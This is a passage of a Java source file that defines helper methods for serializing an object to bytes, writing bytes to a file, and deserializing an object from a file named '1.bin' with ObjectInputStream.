// unserialize(bytes);
Unserialize("1.bin");
}
public static void writeToFile(byte[] bytes, String filePath) throws IOException {
FileOutputStream fos = new FileOutputStream(filePath);
fos.write(bytes);
fos.close();
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}